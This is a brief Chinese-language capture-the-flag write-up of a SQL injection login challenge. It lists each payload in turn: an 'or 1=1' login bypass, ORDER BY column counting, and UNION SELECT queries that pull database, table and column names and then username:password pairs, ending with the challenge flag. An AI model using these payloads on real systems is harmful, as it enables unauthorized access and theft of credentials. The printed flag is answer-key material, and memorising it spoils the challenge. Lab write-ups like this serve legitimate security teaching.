打开页面是一个登录框,存在明显的 SQL 注入漏洞。
使用万能密码测试是否存在注入:
admin' or 1=1#
密码随意填写,登录成功,确认存在字符型 SQL 注入。
admin' order by 3#
页面正常回显
admin' order by 4#
页面报错,说明字段数为 3。
1' union select 1,2,3#
页面成功回显 2、3 位,可用于注入。
1' union select 1,2,database()#
成功得到当前数据库名:geek
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名:geekuser, l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
得到字段,确认存在 username、password 等关键字段。
1' union select 1,2,group_concat(username,':',password) from l0ve1ysq1#
页面返回大量数据,其中包含 flag。
flag{6e33e763-803a-447c-ac6e-d70feb695d15}